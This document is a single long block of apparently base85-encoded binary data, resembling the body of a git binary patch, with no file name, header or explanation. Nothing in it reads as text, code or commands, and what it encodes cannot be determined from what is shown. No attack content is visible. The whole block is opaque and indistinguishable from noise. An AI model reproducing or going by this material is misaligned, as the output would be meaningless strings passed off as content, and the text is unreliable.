z&Nu3rIoB7Z!|lvmqm=9V3n~cj#FPxGQ^qob!J7%_Y@0giFxIrJ^ufY{+Ya5_Gw6CJ znxdl=SXnsaL`9RE<`~u0C%%14zM9!0snd-<>k!{WD1(;)B0+*0M?_7nvor5oQc_-7 zX7t<+ruiztx9^vi)}f{5rY_&XD`erT`F*%Wir)uT*vqHa2O=OYE|oZ8Vj!tKvbN@7 z=v!Uvu$}}bXzQ?H96c-1Z|>>sofe?7&`_VK^*MTk9I!U3vvD->_^Rs{a9bC7IeR8g z@vMuqzSoz?fSduo!g1#kKOs@waf^@2*nYOLlhNd-a}P2Q8j!#@#1J@_$4{QlN_n3>eXl;Cz1&Qx})3%EPu!=N=-`Q zu|tnR&e}H#Ygq7wd3+tUU>cd5{xrWUsfHi?=)%(88cdX6$+Kd`|Nwf=;|$iE(T@dT*4A_1desnob~Qb}|?4`tJABI3aj?S5U7S^*|ZG>!89zXJ((2(XnPL zL4n!N7-uw-j5e?(gX@nBDN34{2%wTX9~_Khlg9oUtLajuS7XKqaNzFl-K6(^ba5vr zCMNwyX??)`ix5k@_l7n;s4!Qne1+_Mda!N8;gQ?0qCr>3Yc8pFlOLmD#jz2$*!Szk z<`&3osV?+AQwJLBmew!+oMh9F^G*-X-TU3W{-9BSjJvuIiEH7xvM&7S+zaeF@fsGq zvAaS2G(WoY6+vHnmXQryL`fCGtIfhGd4)btY~tcW+*Jj{#UBM_X&>i7CYJ*vPm)a@ z9)6;oOuW8h)5eYgRvGCQ42=)V+bf`KsD5!KEE$@Z0PRd~Rq!97c-I^sO@Qy7C9_Np zF7!ahJRF%*e?vl+nvqw3f0W$}Kf5$vxxkQ^Hq-Fq_&7tr)$FN{V6eU1Q`FNbzA*(E zXR4^Eqi?zX2vxW$%7r($D`6!=7n|^%XigtNX9TeleLRq61KUtSzq1uMu0oF>{TW zhvvnB!gyvJ3tl0}y?A&d8`OP$MeJi1-9O@VpcaWGbB3OtLCSTq-a38eD6#KTU&X%; zY!m)IU}~+SgPUAvwEieFBmGD>dZ)zgQ_CIvzO1U8u$=*UT9|$0XK9+S4oV#=!T|p} zuCC)3PIP#tUgincbBx5qn?tHmtE&=T5Wd@KV(N0Qd0vt?esY@P1-Yc4!EZ-BRkdQl zwgUR_EE_$TtY{*3l}IQG+o)0NRn!A*m3)6b416YHaSawkmZg!eQ;`jcS46+Q5VZ^~ZyFdb!$cm2h^9+yRMaB&R5;I2^B@Z?;zME1$cGP1;+ z6^6Pf3?IR`7Jq$_%;yPa&WMQzu1RA8QAIss-vt619|ZUpH^&1kCrMPs#$(@$Z6cI3;=2$jmI09~Hkj`dMoKr18qm0&0xen5m%r*tudW2dT3^_}jcjZRA*GPu`Q4%faS?9$Du&p|?2TkH#pIX2I&hkXRjM>792}-o29*FaPKy!yU>fvINx8w9liZ;fgg_uOq;`dJG0o}_0eH3f0HkgcGAjHsEn@G(YBht9k! z58GBsocc-OF88XjI_*Ax>%#NoT->O@ClBv^mBClnD01Do?07$Wwo)pXp-68$7yl9E zanQX(7x$-_L3D|)`v(Sbqr~p?1!5a!6jON5aawmK3TIeN8 z56_MZbK}i4)X=wQVV`^Pg>_`-ry#?Xx4YHA4$kZ@=4%9sihC%R2B$yWmR9NRHaAZv zz2yR#AcHa0*ux{zef}m;x!^WYR(D2_kNdoW0TFQE zlF(Iv11AR@IMZo-WXElf<IH*}YjCrFf6i}BRPcP6I@(rE^1&*gw*G{}%=mmVc;+h+y>P01{Zl#q$A4?;UdfB%~<2)eaUn zy2e-@3k9-9{q!^80$N=d%sGS3w1NjUXK|IiL+ym`r7mpcGUzp!RJ^>}J1NUG3@HGA z4o{Crv3lBnYIZX?K|jWwl1-SIg2^oJdp<&eAd^-Fj;`FM()`JN+@tOh#@H9xO;q}V z`qEvN9kQ|UKCiJVsfbJBTT)7wYicnRu%$jzXA<;7SNmx8`U+oa(q(Y^Q@lWcuZw$i zW&!;gqkf6J{Z^eRY@&xSyf&@NixZH|I*VzOzCv0P{0_kQ{iCZ1axDmn(!b^Eme>sX zIpkqQfc!ygx$A`ub=K;e^GpW`ut2xP)qZy#@TI(h@6DR2Ue`Mt_8rF%UqSB_>jv`* zo^vl=B+BJUf}o_3L}~_fxGbn;q(pNC7XI7*M*o<@^oh5@4D- z3Va=SS87EZocUqL`Gi05$R^q+^Ou$a7hM8378Y22@@ z;zX_@m`3Me;u?}9Y!wHQ(F(C3M?qH|1T5eGoY<`kqUn5DbfjaGeld;(uLirMJ$xu$ zFmZQw2Z6Z}_HOzN6e>W&fqy@3p@sSI)GFlyJ;LAn0Om4Q6!R z%V>N%r7hl~K`0z^u0=Heyk7BV)YC=sG&Ji2@r2xid<^Nxv{k~j?@Di-e9V8+Ql)|Taso-p9N8V}e(5~#1Y~Ml_jS>ttC+jbw7eHVtt+&5F zHOns7cKEEars|hPMnnKgaA;Rsq=GzvRJATgv>{kKOMjXK8qTI=zUB5TA8rX```8sV zojeFR-pyoG@!cIBmM+mPD&ce6+`64sfbtWgMMUV7DkaMAk7PFbTv>O0OG-1NGB}+< z=p+mz9VBk-?0g=sR0z%801_l=*KF?_GZ>fR?)!WW^i+R;@;RR?GwtL}5P+S9S}H__ zR#rhvFXcx^W`4i5e|)Ww{K{4)Op#7MCV9h)CGMs1Hd=`YjVu3c~Mqu6E8RN+bsqKzYmz*xibL+ zO0{dnlIYO`2nXj~j|LZ0`y*d{p7yPNQW6pp@Gy^e>nlD0hV?DofYPA0LcYSo$u2sQ zg_Tzx$VhT>MFFa0P0r2&irv}iodaS9r*VmQ7pA(SFW;ny6~lqUZO#p@QO zJJt1Xz9-Ow4YRuz#eG@g#*?8@U75o~Gr?7&E-Cas$c?@w?Ke6R;ef+7F?bErOV2M3iyzEL_c@w)H7T^|AifcDFZ4k8j~- z=l?DTB46p@1O}FzyI{xoYLOdrMfsVy60;m`GgMMR1LgjG0n+Ja6u6tFj!xH919Wy3 z!br%ZXJO~(-*RoYxv9Kv;9#Hp{rfFuAV^H$2AR2{0!_EkEiS3f^Jg;5SF@-{OForH zfs#DCv?jpt&tU#O9He6~9bmGA1WAoLughE7=3@{|V`4l}B z@u?fAk0(FI-7KVA!@pn5 z6P1h(3+DfTr${LrDX@KNFds1tbAhTF{WU$0i%UzLS2pDU0H5Syf6G8jOB{t0B?k6= zOiqK9U^#;~L$+P4ldWM3H+oa=Hy@ZdzncxXq)28c!hd@bfQ%=nS03Cp%beY&%I(HV zn~0J1WQk18b|k+#tdNR+N_J%KY7V0BYpzjyhvjtn)Qzl)=J4tW09#dD|Ri8|U-6lV;V8GQbjxlUF=`{>4rlWLp>jnFpGW~er z@LlQ4Sw?uh*0H!WS(yMobZL3x05I}AV>md4*G%VB_P$yW0toxt({jh?heP8^dI6`$ zZq_NVf|V6DfI=Qj9g%|OIwm}13fOs4iCzORB~?}cm~$B8vJ~l!;Fu(5?|qSH=)@$f z;50AYt`0{VPR{*P^tiXbHRPrT`;`h*p{WHMT7V-b7sl!tbd}q_%V7ool&9vJe+kZ> zZFM3|NYFR~5Amnj?pFE++mPA2?Uy^NdqDoi7=?|>X-J~vB0Ex3agjs|ijQv>hbJ0m zhN_j-NVt}o!OFNKC+6z)zIM;T@gu-81*7#JUmSH|MxHbgW^e`uMiqLs#}5Pks7X>x zM~fDyO3eNg3iF7BxFjprReGk@cLI%Lh&>7-8?MSLoT=LBNct|PcY@<^I?4!0e-dSy zt*&If_(i-NzC)6tzRB-83McGgMkZ7-Rx?Q>TKqgnO+4t4rq+P57ABC#@ZOny@_)Wz z`pJPi&iOc<@0rwj#Ik}7k|9DEPWftc=OW!CR zL^ag;+KX?~*HV@`0P{T!ye*eN)W;1Ayruo@I1*}Vps~BYsVsiazyQj^!y^Y$%&?_v zHAa^sx92K9%r4T9h!+FnSyt?0{G!NdMLSl{)?$+N&j*cL&r>;5H&xeeFaL&wraj6zD<4P zk~&2teh%c%X`>?neo>&UPOZM{bls*4jls1o*dc=ymT4UCpo^lWq_~qDy}Yv@uGd-q z+9NHZyl(F-vA|9z*I2E_RS$f=>lqUg<*bWh&DQB?i?_qjFlb&{8?N_8g~I734G&t( zIV~0^*qZcQzvLrZg)YhQr6T@U52E=dM!=l2Yp8d%xa4nPGbRYl@Oy>YsnfDbg;7j3 z&0St;lKcd|h0r_D>{uOK?r2epsBO($@ z!0!CqUdwlont{dzt)TO%mWRJHrw>+U6A^H6{0BmA-+b_*K=odcF)}W_u?;A;>N%}@ z-IJ@{d0}Fd>>OjmGnxvtsm3-w$yeSN8$gRvQ)SeJv{sSS)cP$EXq3+W$P^R>l@~-5 z7|v29J4eO_F@=xImxNUb2p^mUT{_%05$Kv<8R)KVoyp9Qk}vI#ll&|(yA2{rf|YCq`LZ3i}5n9jgMqau&^!;MMdrz$r= zgR3NXy-W>Qa=WV@ZJs%BvjWx1P7wx8UCYbt@!=ia>)XC^U!a6F*Pw%MaYD~5*wI2x z1v$>ZSj@~;|NE^0Fl1stk{V2FY>!Hz(uMd07(V}<)*?s>Um&z^hE9U3I3?+1MDbHgfj2k1+r-s*;@xd+!3o$1)h`?WdjHL~q_; zRMu2GY#u&Thn1U-NVhILg@xEVUUfbuWHJCYucPG+xpL0~|BUoLjgUG&lfc(7yR1Tb zkcSr`jJv*juND+Pit%@znpVl{*E>d#v}Ln%aRE&wIQPA7J!gMT5%4?>xIi$D@T@%P zHFv&T)SzJIWD&2^U7eVGz~=1y11Ah%?)c)34{)87Cn2A>quW-B+H}FS`ZP-8WZQuf zOnG|ZP|G|8BYOu+>{xwY6#*Q#T;uk}TOk(M++;0t&w0sYi2-l}p*+j<( z35c_jQxQkm=#ARJ(mOkOA-q7gV*nA@3lzy(FW+xrJ&W1OgbgpR z1NH>WKHA~x{0;FY8?Z&5h6RFk&0ti8=>zeI_H1n6%lE8B0N0tlOzK;dPnto~1@?h6 znvD%!EeCJQNH1!S80jcGF!QXrB&29?bzl{s;K@ZDjhT%AM}1^`_??Eu>pI;uh3Irz z;;^Tv55Fa+WvkMUPAfO+(}%b2_Yzk)qXA0gb_u<}oaB1XHe7*ud(k-tuvy)F-+p3DGWpPZ~ z>SPVJ!(kT1ivL+j7J;lo_;?``8HxvRVtzb175P=iRIT?$$ZsR@d(-({4ZBoIgMRFo zAIx$$_YLM9$;=Zw&$dQNxjoPHN@jRFde860Dt^yks*DeG)eWi3ag^8f3c)>T?|6LP z3Kke4ApJ}VPUo8!-y4zG2Yqp;{dZyweTrh;-qf^DAt;z@*oEmQK3e(sX_uv%YUujB zNOh4!&#^I5V0^pM^YYyNdr79b@hRrvAHI&z^_Bsdx?iSGBF~ipg`!C4!QvVaEI{fNYgB}n<#-(unSD@si^_X5e#9^wK61n zlqCDULY4*xbK&FyC_n8>O2_EOLnC9MMnu%OEIzry&lTlZ4^Lc&M`kM32sc^BVTTvK zF0Pe!QBpG0iy(E~yDJ1N0!8Mx%y{4=q2Z~ycXW8|yC?S727;}b&%uiYC=xebbVP$Y+o3mj^qfBu@Ti&yS*PIjV)Hcbh5F=c(f(fut&`mpd($9NM*a z;S=~t*m(GHDp@i3Qez_8Xp^|mu23-(x^SSevmLp<0x$^a5qS=AaXpu4j)^`_;5(uw zr%IK_L4N==^wTR~V0@P4?HNk*1M+_K(o@V3sT>^3!f=3h8RIC)BaD+DwbXBFG7w}I zS0$-Z1{bO~cbT%jO6JUKJ!;sj%mT)h6!oV;P8Yj zka!D{BfF&Xa8eMj3&9tHCWA6dqEYs+zyR=7pus@;_b%0+6WlP>(tu2d(DQS2??+yt zfo&dXGL+;r1Q9qfB z`5@)T=(y5Pa7b9hT;1^)Eaw^NI!%0Jb_Up~G)Wa_eig3=YuXOF>IQxyrh^$U*iAO{ z!=tAW62b)~0?E=Z!^Ek?D95c`=eKx2#*5m2qQ zwUeuNB+8*5Z`{aLT*fJ1EJwRA2f_LZJA@TXa_Aa;E*`_#ybH;4{yWP}DQy~yT zSN$9HsfDVgtls1E8GL&Ay?w^&`ri#{8&^C8wEI;r;DfGu2@~c#zDEMIt9Drk+QKa5 zLcGVPt)yGtsn^E=r@q4FBz+)%3D)E?-A6?=cI$%55HopX$lEd*nh zzc|GJob_OEcc*Q#{of|MO;zjhg3IrlbkbI`o{M%byK1}xWjK)fsU@`uOWauF*hokI zf*VQxCKTVfXq8m)b-yE1KJI95sP-?BneCzpEZ7m}MU`LEwcu9OdXfHXibFxHX`!-u zemgy%AvY}g`t6pZJl@YseQ6!!stOdU%^h(k8N7QLrew|O5(t?6$=o6xH5k$dd z93mIT9PFfrJ;cELDg|3l0&xy^$Nsklp*V}s&FABv%D%i!kjI5!;iyZ%mT>{+a@eme zRIZmy%)HJ~tLJu2u7@XQ1F##x(wz$oo4nQ>otK*0DIIP$o#v%%{GMSh4YBr(m!eH4 z)AJ_34jzNoT+8Z}tbBGIW(GZ=Qw!H65$a=#xv`Mf^9(tO-3 zg}j2@+%4U{k=yTZmDlx)Dd@n~-M!8(kcp>+bq+cn{~xa2I z_Uw+sV!cs6MX4C@bEPxZ__r=G{6iav87j zfw;IW5d7*?J5|{gcNPo0nOY2J#P*u7TK8Sp6uhBuiR~^7L7h1eG^ysTxzEu{$XJ)! z+5SJ>qZbWsqrYXrO@%L-%Q7dA>(VA3^S49wY~q^V>b;J z&{E>$Go$iYtV>2he^|U6K?=BD_}N&R>aR@gt0TT;3y~_VXtlHrlFaNlnIRmJ|8mz@ zJTfvZ=cI#kw;%BQ>PQmO12kP12myaZfxT4&0Tg)_m@{2Ba2|) zxrm85CPZo_<$@K}qhW2XO#xXSx`n+MrxDh_w4X?S_8bzll1;BPwG>X_&HM5a+2G)? z?Q#e0qa10l+$7Eaf6t>*Zp~6Zv|*l!@#6_mg!2iEgCg;WrwS>{x~joNhLfTrZQdKU zHs5q=eA-SW7?7eqU-%LdU*Y$v6M-7B3^bdv&-CS-@E8kM;^on3ik*C_HF&Wy0%~dc zg*Io}@1kCgYA(#NJWv=a?WPRUTt8pSBla*;_f106qX5!|*`-;1N1H3#Kw zt({n@tKv1&e_g~8n%6d~iWx>?n0AgMX@D*s_x-L$xPD`eS*Bd@@*ll#Kl#68SzZl3 zf=dp#BCxxEUA%XPEObvv;77AQYO4L}%P-3-B>ud-QiYzf6g@IEbzud}ThmW~U9xx6 z{WRYx!k6*T0zLkqZyL6exft(kn4&WkD|lGMPIlF&mSnM1uws%W_>2V;mbm+Gk(jv4 z!=y97FljNG_c`_9Jp!anUATFN_q*u_E+1(=fwEYU8;uMOrR{X(YdPr_97DM&sk3U5 zw@ZjBQ};*OF;g4yNd#TLr45%c`NrhbPG2?J-27(swK6ih>df|OquBJ3rNqqy2OxT% zhGeJ7bTTzK0QR>u$ZxDSO#St7=?vQFF}&{l13`oPQFY*xRp3O350h@u2{N7i>%vDz zeurEkcX{nS?dO)v&qcK2;wPC@?7KcTIvw{{2ZJTn2R)f#3^`gL#qCq9@U^{ibh zjS*j`*d+Giv+A$d$)X+Dy#>b@Atnq@D)+p&+DY3Qd4y=h&7Dvc1Gd8}>fgD3vuWok z;$jqEw85K!5k~16W?V@W;z=d`E4samI=b&E+Y1ev`UY0~OItqX7X3~11&%APnH`Vc z%BxcRX<=>nYGSeuUbjeoC-DA7MmzU6P2PoynJwodPTDn4s@mIkby)^GO~Vr*ikUrO zrKj3;P^w+1$_JHpmOKX#J;YvkhN)e6CuT`M6Ng`1nO?9Db%UF`dZQiSjPgv@?bhx4m3l~PLa*qZap1(f(j6L3i9Mq(0$-5I}>8K9FXsbCX+Hz~lA z)IgDo_|uAOSwHj>{nyp$(BXxpjSlyfNEU#DfdONe9dK?%A=`*(h!nlHG^G`6ay$vI zG3+{i56&EUxVcg039&@~RPSZxWEWyU%c7e1KP=jgx9b*dLy%m53_QlwonXS)J_w`! z(F=^Zw!NN39i99gvWUb07BC^Q^O2(u+W$OsMjC7>>zghL+jP$f{y1FvQFAXi1n>9z zYVi@mXJ)1d#qznxvpSeh$=15}EZcbId~2H#3+e8q<*ewyLQY7G&hRfvfPi^UF-krT%`$1t@C}n*D}JfU}e}!FW9O3>C*|bpW=_V1W9U$ zZ6R&t^D{>}WU!oIg0V%>z&I=?I3(lYnYigb9p1S&ic3M)+}?33^KtgV$#_`nZ93?| z58kYu4)@!v+e#2@!Fl^KG%B23H7e<}T|~$Me{A18PxS^{tBF#Zt9PS_S?5?MUZc-(qREB z5gF|0gFgy791Pobt8CT-XzCCUb+uBAqcsXS2)6G)cFLYj?j-M@e?WjB+<>i3=aRdg$ziYX!OsSeOdi5Hn+g(&O^c^EH5 z6tJ9~c2>KkLOoLY&sHd#xsDgF&U2fMy-o0kPoH0tW~?CNCdkq?OV%pR%xpSl2AZfH z@x*3UYAo=dsx{m}d<+Z^$icx-%(uoX=OV%qlIuL3jwzXYgd|B&gl3-m?9fH5*zhTg zFmkFNh?so@mGz+EdVnsBnUh~gCoKrnkjOU!IGxtvu+_}eHBvXvDlhR;cp~=ID--## zYJV_+mAefBj~X*k$SM#qQeRLCl6+JnZJN4R;%5t7Pz^9#@S%n6P5Ga;f%AF9!P4PC zqF*^Lz~)mm#h>l%;F_eLIOC9egH4}EiH*H#+h#n`>rdPyhKk$HwKrnO0jal%DL>si z^how?EJjD^u-7K&E_L9==`XEe_4>g)#iwuU{&=<&WRE-@k~1su1YW-kOwWz*NWxN` z!r=tz4R7~bxmr)q%5a)rP(aU6&f&kV`8NIhiRbG+)u8hR{xF)pq z?>TTu2^(BHiZFYBlhj$@Hzism>}^D8M{` z+*|y&e2>~ZOyX?ldgfcUl#0CJ>j5~OtL7$>Q+akvChh$XrBd8#|HrX{RbJ(iFd-(F z#;=VCf#q0uZ5|2FD>CJMH;N=4SlI(ZD4d+E(Ape2k7AV0gG;~mVb?+P%CS3my)Pv5+IjC_L zSAw8di*G_wt)GvkzD?ZhA%Wjx(`S=@;pS4i0g6y+AAC^N__oc0CV$|l!^Ha>;JYD=YH2`IJNoaki!9L!=jU2??oT44wq}r%Uk&DdE9GRJ+IW} ztMi9eaLdDbM`pDGYgkHEV+IEDa7koLQRxe%i^M- z&fqYYoZ5690;Akvc0aSyV3d0=T&onHVPtj(wm=iC6%$hZM^~4=j8k z%HDdXIUPWJk)FU6oVKLNmQsJ3u6Af@`sNAOC?@rbbR4xFx`W$_?nkHn7=+DNC`uuu zz@uhii`8(tJM5aVR=)>+gKOdaTikYMqAVQoT2|-yk@$QXGn^c$O8cA#Wc*PZRPEH5 zK~_tOO>rPzKjVV%&qH9bBGseYCbUxf$Ng2ctX}c?MrLuExWD)yZS1<&HW#iWq%VV& zN+m-F=Z!rt;KR1r;JHwv0*wR370nY`J8l`&#N-(HTz$&ydIYjCw6_ecmLyzheWn6KeQn?}d<8iEAvMCjJ`>*?{ZF9noQy%P?EcIU6 z?-H!5(`*>0?Zzu%AF5H7nO(YB+QZj>;l0c4V#t!~)EQbS+OTSO3C{y-#;z_ZjGE>m zIDZG@qfUsy)*;q^Dfr)J^eY<23|8asYCU`5KzrKQ-C^A2k6cy%xqrj{ z+UM#)Jo|gAamNT-SX@``p1N8~l?i7w7f3If+6rQ8xfXB8FSq6;KFUE)6gq_`dM}aV z+p7OFqav{JnQI9>x39o&IY}Y>b1T+NG3|GzW5aSDd#G0s5Bq1^H*DXQ-lw_yhIe$1 z2U?@T`w|Y!_E+)lQhp$Q{L{P8v?6EmGi5#4oq3#ix^L)C>%EM0x~OlsNUROFa$M)+ zyj3qP$0LEljE@!Ozk}Sw4cGYER#D1qF7X}vy2&QfMcczWV*R?XOg8pR?{_5Pq{XgX zYZKPKa)D(qE_<^rw<=MTj_Vj0SRwQHqSb70=DN+Krcs$Ywz7#^ZiuvXnZGlfX;MrQ z9fq}$KOZ3|WrwzYdfgYCEBhvf+(KPzqC4&-s+d;^?VC4d{=pO&v9smu7{32VnLFIKuX{ z@{MDHpO8KSn!WomvE#}RO^Z{>CxKklFWGc8WpBICrhf6YZc(ZZ_ZdG-rsWB*A$?bi z8(i?^4h)lk$tx1AYFw%9f_E44qZTi}Q`UEe);wwQMIvk74xKEuFZxcE^iSbM&A9S% zs^q5cOZWEA?-Q9HsUl`&a16-o>RTw_I2DQ@jU;TSi--)-ys-TDfM$_3>#U!uB17+f z=|A^zph_tK`|}_kZ*U=eyt99CG83m->A+GvxIiS!MnBXQe^|&RvZjU=Yn|>Kp**@X zdqe~IYPP_2RhZZ-BNpl~vizw^1ApT>7k8C)urx3*DIRnDk63yjdv0GeRlq^;T@1KL z>MLo1wsAt%`7DMBlO5l2eOn#(SXF(fqT0i0dq0!FK|GS8G2dnUSk#sH9Gi4Ub`^#_ z;QXC&GO(CyZOVv6-+r2rU8;Q{oAzSCrliXD=Qq{=opQX!q9{-O#tcOmQWuYnF=_ma zanSPREP2=#yhI#f)uQ#jwALWU0Ky32%wZZsw+yAa^VgnY`X$uJR250@7y_kzkpUU2 zyKA2x$oeH(j1y9=lZ|8wa9sNPqex1F`1;qChtmIhmWb?EzD%r0=I~bYN520kMPqsF z<8x?Ef|IF<_M9#CE8^Qf9~5`snzY6cO7&QidsJhXrPNuhk5dhuerp_-pya}LnpZ|* zY+li#4R^n$pMVM?x3AF+6o8l0~E_sWj_qKVF#j)w$4fWobS{5{A< zCm_z0we&4#+t}-e7oQ7RIkBC>%!5(fDLJ;f4wbkIleqZgzBRzn1)nr57tQ$Rssto) zr2iwV%`!QOTykj>P^e}_GdRk?;oXS_G~&O@n-Qj`rqqcj5OYQYnGa}V732;!J1@sL z&X2AuDe$K83rwwZ9dOgEjrScD<93UHMzE{Jt!}gw8HNTq#1Tw>jnavN=(nKRw9nls=qX{$GYk5r|Hzf&w)K?)8T0k_flF1UWYO_o>Jplo^be}c?+6R_goEj6>(t+ z>fWdQ2JARX3d54PRhNNrA6iAfv6HF(prj?L$+It8S&TOWQZx@5% zL{rgTL?&*x?X&6^C4bE|Rh)PofY`>u z(4gsr&z~GYJ+HjL+EjkzootoHu)v;pvL~;FmhE`GJ)v|woT6@JAxBs>&!KS9HsSUa z1v1hhGkcI_e*Hn;WNiIHK3O%dk|REs+ryDNcHs3X5oj&3QbyhqL7oyzf77z;;U~!YQ&E+N<1Y z3wlk6s!XI&2mqRRBdzT@C@SWBQ|pM=MA6=1nsR!1lE{1BS2kpL%UuRjE_ruuVSOglMWOwS6uuH09a& zYL2q+st~tIu3T!Ru*QOLCA?<#<9q6QmohiHQ~3-)aZ#N;uUS918Dd&S7!(zIx_~)? zT|M;6$8OVQCIm`ZL&g_L?t62U1gXO~kORls=@J7Br7UT)nFcp3^A{OyUeaNa=I}jLQioVj`UF=oVB+Mwr{vcnUA2T0S)3& zn#@1g3bjUSou1L*PREX~VV0FUIn+w#l$?BqDVYp_wp%(}8|=Nx6^Du(KU&ssfky+_ za4rFOQIJQP*CMhMaB+oVX{!Zsh2)Pv)q20Hf=ODcRi9O@(eJOM9W)w@@lw6`zFzX* zhF!i!7R8-JN81nTx>0#$vP=(7V3a@B9p>5lVDJipT95nNk`R6qTi* ztUd7Q-mCVi?X!p|1XAxx@=HEYwJ-sLghWnTn^33TB}+D0Gj6b3uN&T1kck;pQE{iu zwA_#-zMn!G1I)lCIIBK#5i5NnwAH%Jno+UZvdDfrbCxTSZ0dj;CWb^#3V*s>`Qs145Rn!8*hRN7q|-7G?-bAJM2Cn&M^?dQlPQUxn^%P zWNT!V$8su9Vi>g8eNPfmG(@IrK6``DY8|-F@nt4cDwcUGFk;y;vO-6Pdi~bpL5J!vX@!mF;ECR`v6@48{n)%LM+&rbsKhU6eR^GZVECyGD2rSvqW!;pnqz#j&_^2?vB3 z&zx!O&D0VUPwAZ>gllmKqzniDuwqD*(e^lB*Y+HF`nIFn=y&|tn>Q!izvRA%uDK2x zGoeN4XR4;FCpb%FITtHyUgk-pUj)6K2u#NY4`ST)%`{p~9;n|(;R22tG zQ5*B$bH`Xzb*da4-+dTnGgp~xoUg|otS5__VrY*ThWD9m~3L(J0gH3L3U z+@NW2NOFNj{pY>Cy`Jmp?$H7b4gtPqIk}li8<{YCR+e=@U2hMz=u-pVV~M3lf@qW3(53+1bzigr4}e_K>~iE84LE+{OYP zF0xWy+LTlQ1<|3`WkqSPgJL!)yj;IBks$#Yl=8l`Vx%sJ5Alkn|D#nAf2GWwi%d9f zgD&UG#+oz#HoRj-VLELPS4Q#*Mj3+I(hQN{8SrIr!{CwNNq@;xDt7w|y?(i}T2Yi7 z82DVDDgM1wzHm2+O|A+xRyp)YqCGqgSF_quFa&$>y@W)XcO#3UQWU99#pdOr`X01boC%$Gbr7<2C zNuNoJAwCp0j2yJ_wd$j#4$Cp%{xrC&OJGv~H@*cd4M@(^>HNH4coQzig$Qzjku7cV zPa!aYLmd|vI^9%~C`f3hVXHNp5d-cUA8Nor0P}v+3~E+w`$z#*Lp-RW0X&$S?)KPj z4%}W(ZeQ38vzq2dZgC)nKcR+A@^|Zwx9UMb)rKLZ`tNoVko|;qHUQOtKK(yYmozZ8 z9x62psLm9lcYiTV$w++0QH#V$rBFX7cf@AEZ82m=kJ2Zr@(-JSOK>c4 z@t#Ag$+Yx~20D7A9xU+q!(bADOF-xB6#8Xf@@$C~S^2rmJSNGBy!O(sjFyloqE{Jn z7ojFBL@A>+JV{|vWvlN?3|-?&r%~iqm5*6*VBZz-|9n@nkbuUg%}aPnS`^n=Y$8Xc zBpej`d0CQ7S$@9i$tvDtX;Zi=bLI@#JfZro)5$kS<}Df0SQG3CexkX&qOou6x$myLENky%z>ryAVp+X@ zHz`!nE~K3FBhC#GJfjMid88EET4BTfx9&ZpqzonjB}pK~f3KuLm}rxp3jIRUm3t%? z)J#)zzWnZN`5hgiZAe2+uvY>d^evvuvMppw9dX1#HI2|TZG}dpTO%+W*|mQrZ7{Cz zT0jlFuyh&-y8pd~Okt7u(93laff%`5f}^L$(bvZ{kC&IK3U;f;x3epH0`hx8X4fe| z?eF^Nz0hb|QNId}ya>n>DjxWg_tYkp~*}qzwlJy`ER?Gx`h-T?H}m z;BlPgFcpDaf1m2~K8Hr1<`9(4gr0b|+H>q8tXw`lR(WoDm-2|u4&t2hN;iTeb<;jj z>z);tL-@NkT-<;d4I3%87RT30_4fJVA4SxNCjGveA+$U;r4yzd_|7#-Y`5{Y>#`=` zDV!ev&nOo^%Tp?|IUh#qq_qk>Po?;@NC0dp#r~Vt!sp%7Cr39zU%$Nm^0`b3a`{={ zo4j8tsa}6maSbizW8c>e#04YfE#^%6IY(Y=R?th+)yS!Mq&V6DIF0hbuVC<&%m!t+ z3|j5W)|pfx)UpJF%V=6)5{JD1Pcr2q8+netoh#L zoZrBKj229*VV9#=&(KikCMtknhE#KT0;DHL9~)th_eSkYaQtQcaeYxe1MvcLE*2v84w*V9>U)0-^=Xl-k$dD=T`taqafNg^7%U|A|fql2Z6jQt+}oG z9440_lKAg(B!?wc{_o2%ScPCbMh?S-0r#B@^WR$?xxNYo#G2=DRhC++|EmP(oKate zejTyIJThUHR%P!u&Zy%xG=dBhM^vAj|NXvf^$fPK@uKD8^-62#gl$B&b^RY>>)Bq0 zrPrvxR+{8(lt%un+QI8xPa-SIQv>J^yOI=(6xmz#8BUzsk*!#ii%fKi`d0r2{IZoG z{t#$ERWbF-OXyZj9f~2V1CgDXL{Qy-iLZ)dw+0R=$#5{?m zH2PkAztmF0Xae~^|MJ|&j=_WAkS*$<){Ky^p^y=>3{?3v?zkoc4_5m9Bvr5}t-HHJhxb(gGR0#zI zhY5qfqG{&xZT$pT81wF{&jPO$Q)8Z0sKke6NwV(U56}R5+iu42hY|(ec4-$Wq8Jl( z>|Z=GNv;qxx^j&EIVrEWgZ!g-5o|by;3sr-w|t+`+8UDym9=q}A-hLLS@ek7; zh>Q>IZ;mNeuwuavs?ur`v~e%R2P=#WY}^%KACK{&rFNqZr=r*IZ(m5qst~W&{R@^h z{Ax=vIC=hM;TpcJ_BG#V6DOzDRku`WtdULT%cE1>2$B4Er}aPSGrTX^GyC5gGIk&`LJZsV@5Ra(ymXztNXJO8sbJ?ikxgg1cbuZO!d{+Zz< zE$^b5!fU6Av`SAdBO?s~E4D<^)x3AbGH~mx)(nJwF#+Xy27h9mHTAs7y!AX?pK<)E zJ>%72K^tgq7gl%7RK)~*Wi;&vEpMGQnzgc@Rfd5C&;7dUk@gQQ;_3)pnWa$0gK*Z(iD>Mg0WT0^T&epcObJ&NjmVp3^cDM*X; zcqZ7-y0e50^94FhB3s_=W{+RH-*M^foXcPJV^^lp&Bs8{;q-)e%zRv3&_he_(jNjj zNrf}neNaZyA+6j|u+;odW{Syrn(g@1(hk~;HHEkbG0&=$amHhCim;j^lH9cobU^y% zxys}@m0Ic1pZ7w~%`+6#QgBC;`XOKC$(wp|ygn;rLR6`&;Z$XaOaRHk|LgH&+m0to z)_++~uv+wYtK6pSe3=P;Y6SW;E!Lz$+}|;JdJZHCY|Q?O5&X)> z1FONY!B1^pp|u#Zyd*Mdx2!Z|BhlUaE5fy@mCI)U_@kri5a7Sy_Gg9U;ZMfo(`6vT zKgN|2Gfdn2-vih|`|J_)wnmZ{;0~$fbYJVia(vpJsuD*|A^wn}>K6Rt&+p$8m{g&eeICoUpAfiY+QX}1*BPh3x7e@n>#bpR#K8T5@qIO z`&;gB4K43dEg9tmq*}vYT8uTwI5jUU{u;)3uyY3*kx4PrkK<*OnH?+j`v2v{*3;7V zIz(oF_DOfGS6Zn6pkL`aSpha_$b|3EL7DM)&c;Y5(Zf0o!^d;i{phe>EWQU8{Sw2b zxDN4;en%?3>9g&&WW&glZ;#2xpTzGk&f%bELaQ}UR^~YWtD~Gcd#Z@P%E&%a<{R{9 zhoxE1tOD$-nD-x1w>Y8v?~D2@%k^3O&A#MKt7z%A$8461D;KX@jpHN1Hgi!8soeoi 